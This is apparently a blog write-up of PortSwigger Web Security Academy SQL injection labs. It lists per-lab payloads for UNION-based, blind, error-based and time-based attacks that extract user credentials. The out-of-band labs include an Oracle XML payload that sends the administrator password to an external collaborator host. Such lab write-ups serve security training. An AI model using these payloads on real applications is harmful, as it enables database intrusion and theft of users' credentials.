Postswigger Server Based Attacks - SQLi

Posted Feb 1, 2025

By cyberpunk.d31ty

9 min read

Examining the database in SQL injection attacks

To exploit SQL injection vulnerabilities, it’s often necessary to find information about the database. This includes:

The type and version of the database software.
The tables and columns that the database contains.

Querying the database type and version

You can potentially identify both the database type and version by injecting provider-specific queries to see if one works The following are some queries to determine the database version for some popular database types:


Database type	Query
Microsoft, MySQL	`SELECT @@version`
Oracle	`SELECT * FROM v$version`
PostgreSQL	`SELECT version()`

For example, you could use a UNION attack with the following input: ' UNION SELECT @@version--

Listing the contents of the database

Most database types (except Oracle) have a set of views called the information schema. This provides information about the database.

For example, you can query information_schema.tables to list the tables in the database:

SELECT * FROM information_schema.tables

Commands that come in handy

CAST() datatype casting => CAST((SELECT example_column FROM example_table) AS int)
Concatenation operator => ' UNION SELECT username || '~' || password FROM users--

Key parameters to test SQLi

URL Query Parameters
Form Input Fields (POST or GET data)
Cookies
HTTP Headers
Path Parameters
Session Variables
Hidden Form Fields
File Upload Parameters
API Endpoint Parameters
HTTP Request Methods (POST, GET)

1. URL Query Parameters

URL parameters are one of the most common places where SQL injection can be tested. These are typically visible in the browser’s address bar and can be manipulated directly.

Example: http://example.com/products?id=123
- Test for SQL injection by manipulating the id parameter: http://example.com/products?id=123' OR '1'='1

Common parameters in URLs to check:

id, product_id, user_id
page, category, category_id
search, q, query

2. Form Input Fields (POST or GET data)

Any form that collects user input and sends it to the server can be a potential attack vector. These are often the places where SQL queries are built dynamically.

Login forms: User credentials are commonly passed in SQL queries. If a login form does not properly sanitize input, it could be vulnerable.
- Check: username, password
Search forms: Input from search bars is often used directly in SQL queries.
- Check: search, query, search_term
Filter and sort options: Filters or sorting options passed as parameters may also be vulnerable.
- Check: sort, filter, orderby
Registration forms: User registration (name, email, password, etc.) fields may also be a potential source of vulnerability.
- Check: name, email, username, password, phone_number

3. Cookies

Sometimes web applications use cookies to store session data or other parameters that are later used in database queries. If these cookies are not properly validated or sanitized, they could be exploited in SQL injection attacks.

Check cookies for parameters like session_id, user_id, cart_id, etc.
Test whether modifying cookie values could lead to unintended database query execution.

4. HTTP Headers

Certain HTTP headers, such as User-Agent, Referer, or X-Forwarded-For, could be used in database queries indirectly (e.g., logging or tracking purposes). SQL injection might occur if those headers are used directly in SQL queries without proper sanitization.

Check: User-Agent, Referer, X-Forwarded-For, Origin, and any custom headers like X-Request-ID or X-Session-ID.

These headers might be passed to the server and directly interact with database queries (e.g., logging user data or monitoring requests).

5. Path Parameters

If the application uses parts of the URL path as variables for SQL queries, it could be vulnerable. For example, some applications structure URLs with path segments that are parsed into a database query.

Example: http://example.com/product/123/details
Test whether manipulating the path segment (e.g., product/123') causes an unexpected behavior.

6. HTTP Request Methods (POST, GET)

GET Requests: These typically pass data in the URL (query parameters). They are often tested using URL parameters (as mentioned above).
POST Requests: These send data in the body of the request. It’s crucial to test all form data sent via POST for injection vulnerabilities.

If the application accepts POST data for parameters like user_id, filter, or query, they should be carefully tested.

7. File Upload Parameters

In some cases, applications might allow users to upload files. If the application doesn’t properly sanitize or validate file names or contents, an attacker could inject SQL through the file’s metadata or other parts.

Check parameters like file_name, file_type, file_data, and any associated metadata.

8. API Endpoints

Many modern applications expose APIs that may accept user input. These API parameters can be a target for SQL injection. Depending on the API, user data might be passed as part of the URL or in the body of the request.

Common API parameters to check: user_id, query, search, filter, sort, action.
Check the method (GET, POST, PUT, DELETE) and the input parameters being passed.

9. Hidden Form Fields

Hidden fields in forms can be used to pass data from the client to the server. Sometimes, these fields are used to reference internal data like session IDs or user-related parameters that could be vulnerable if they are not properly validated.

Common hidden parameters: csrf_token, user_id, session_id, order_id.

10. Session Variables

If the application uses session variables (e.g., PHP $_SESSION, or a similar mechanism in other languages), check if these session variables are being passed or modified in SQL queries. Poor session handling can sometimes lead to injection vulnerabilities.

Portswigger Answers - Different SQLi Methods

The answers might depend on the time/location. So please read the process and the cheatsheets used. Remember to change the necessaries.

Lab 1:

https://0aab00d603b57c2084c1bee800e900c4.web-security-academy.net/filter?category=Gifts'+OR+1=1--

Lab 2:

administrator'--

SQL injection in different contexts

XML escape sequence to encode the S character in SELECT: <stockCheck> <productId>123</productId> <storeId>999 SELECT * FROM information_schema.tables</storeId> </stockCheck>

Lab 3:

USERNAME:
	carlos
	administrator
	wiener
PASSWORD:
	r5h2o8l8ebgh9t8qppua
	fppcw9cmla9y2g8ogewn
	p85707uom2jve88xzdqe

Query: 
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 </productId><storeId><@hex_entities>1 UNION SELECT USERNAME FROM USERS<@/hex_entities></storeId></stockCheck>

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 </productId><storeId><@hex_entities>1 UNION SELECT PASSWORD FROM USERS<@/hex_entities></storeId></stockCheck>

SQLi | Concatenation Operator

So the command is = ' UNION SELECT username || '~' || password FROM users--

Lesson Learned:

If select * doesn’t work, then try enumerating the column names in SQLi

Lab 4:

'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

'+UNION+SELECT+'abc','def'+FROM+dual--

Lab 5:

'+UNION+SELECT+@@version,+NULL#

Lab 6:

Command Used in Order:
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- 
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables+WHERE+table_name='users_qubofo'--
+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_qubofo'--
'+UNION+SELECT+username_kyyuna,password_oqqqlr+FROM+users_qubofo--

Lab 7:

Pets'+UNION+SELECT+banner,+NULL+FROM+v$version--
Pets'+UNION+SELECT+TABLE_NAME,+NULL+FROM+all_tables--
Pets'+UNION+SELECT+COLUMN_NAME,NULL+FROM+all_tab_columns+WHERE+table_name+%3d+'USERS_NONJYH'+--
Pets'+UNION+SELECT+PASSWORD_EXZTUS,USERNAME_QLDKXB+FROM+USERS_NONJYH--

SQLi Union Attacks

Union Queries Requirements:

For a UNION query to work, two key requirements must be met:

The individual queries must return the same number of columns.
The data types in each column must be compatible between the individual queries.

To carry out a SQL injection UNION attack, make sure that your attack meets these two requirements. This normally involves finding out:

How many columns are being returned from the original query. ORDER BY or GROUP BY or UNION SELECT NULL
Which columns returned from the original query are of a suitable data type to hold the results from the injected query.
After you determine the number of required columns, you can probe each column to test whether it can hold string data. You can submit a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'--

If the column data type is not compatible with string data, the injected query will cause a database error, such as: Conversion failed when converting the varchar value 'a' to data type int.

Lab 8:

'+UNION+SELECT+NULL,NULL,NULL--

Lab 9:

'+UNION+SELECT+NULL,'7GGmn4',NULL--

Lab 10:

' UNION SELECT username, password FROM users--

administrator: 8o6kq54jl24imiyzzk0b

Retrieving multiple values within a single column

Lab 11:

'+UNION+SELECT+NULL,username+||+'~'+||+password+FROM+users--

administrator: ce9rlx1bhleviznzn0bi

The SUBSTRING function is called SUBSTR on some types of database. For more details, see the SQL injection cheat sheet. Hint: Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie. For simplicity, let’s say the original value of the cookie is TrackingId=xy

Lab 12:

'+AND+(SELECT+username+FROM+Users+WHERE+Username+%3d+'administrator'+AND+LENGTH(password)=20)='administrator'--;   

–>Found password length to be 20 chars, With Brute force at +1 and f

Password for Admin

'+AND+SUBSTRING((SELECT+Password+FROM+Users+WHERE+Username+%3d+'administrator'),+1,+1)+=+'f;

administrator: f85j8tx4cnua3jqa28pi

Checking error based blind SQLi

 xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a 
 xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Lab 13:

–>Found password length to be 20 chars, With Brute force at 40

+||+(SELECT+CASE+WHEN+(1%3d1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+where+username='administrator'+AND+LENGTH(password)>§40§)+||+''

Password for Admin

'+||+(SELECT+CASE+WHEN+(1%3d1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+where+username='administrator'+AND+SUBSTR(password,1,1)='2')+||+

administrator: 2ukoj4td2zvkaqh1dmyv

You can use the CAST() function to achieve this. It enables you to convert one data type to another. For example, imagine a query containing the following statement: CAST((SELECT example_column FROM example_table) AS int)

Lab 14:

Cookie: TrackingId='AND 1=CAST((SELECT password FROM users LIMIT 1) AS int) --; 

administrator: jmemf0pclmffjxgz7g4u

Reference Video:

Youtube

Time-Based SQLi Attacks

Lab 15:

'+||+(SELECT+pg_sleep(10))--+

Lab 16:

Confirming Postgresql DB

'+||+(SELECT+pg_sleep(10))--+

–>Found password length to be 20 chars, With Brute force at 2

'+||+(SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTR(password,1,1)='2')+THEN+pg_sleep(2)+ELSE+pg_sleep(0)+END+FROM+users)--+

administrator: axccyutitlo85hdnxew8

Free Collaborator server: https://adrianalvird.github.io/collaborator/

This will not help to solve the portswigger collaborator labs

Lab 17:

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//2qtsn7gzn2zus4xbgiajzqnr0i69u4it.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

Lab 18:

'UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT password FROM users WHERE username='administrator')||'.2qtsn7gzn2zus4xbgiajzqnr0i69u4it.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

administrator password: vhmdbp6a46st1kbkzm82

Second-order SQL injection

First-order SQL injection occurs when the application processes user input from an HTTP request and incorporates the input into a SQL query in an unsafe way.

Second-order SQL injection occurs when the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability occurs at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way. For this reason, second-order SQL injection is also known as stored SQL injection.

Second-order SQL injection often occurs in situations where developers are aware of SQL injection vulnerabilities, and so safely handle the initial placement of the input into the database. When the data is later processed, it is deemed to be safe, since it was previously placed into the database safely. At this point, the data is handled in an unsafe way, because the developer wrongly deems it to be trusted.

SQLi Cheatsheets

Portswigger Cheatsheet

PortSwigger

This post is licensed under CC BY 4.0 by the author.

Examining the database in SQL injection attacks

Querying the database type and version

Listing the contents of the database

Commands that come in handy

Key parameters to test SQLi

1. URL Query Parameters

2. Form Input Fields (POST or GET data)

3. Cookies

4. HTTP Headers

5. Path Parameters

6. HTTP Request Methods (POST, GET)

7. File Upload Parameters

8. API Endpoints

9. Hidden Form Fields

10. Session Variables

Portswigger Answers - Different SQLi Methods

Lab 1:

Lab 2:

SQL injection in different contexts

Lab 3:

SQLi | Concatenation Operator

Lesson Learned:

Lab 4:

Lab 5:

Lab 6:

Lab 7:

SQLi Union Attacks

Union Queries Requirements:

Lab 8:

Lab 9:

Lab 10:

Retrieving multiple values within a single column

Lab 11:

Blind SQLi Attacks

Lab 12:

Password for Admin

Error-Based Blind SQLi Attacks (Best way to find Blind SQLi)

Lab 13:

–>Found password length to be 20 chars, With Brute force at 40

Password for Admin

Lab 14:

Reference Video:

Time-Based SQLi Attacks

Lab 15:

Lab 16:

Confirming Postgresql DB

–>Found password length to be 20 chars, With Brute force at 2

Blind SQL injection with out-of-band interaction

Lab 17:

Lab 18:

Second-order SQL injection

SQLi Cheatsheets

Trending Tags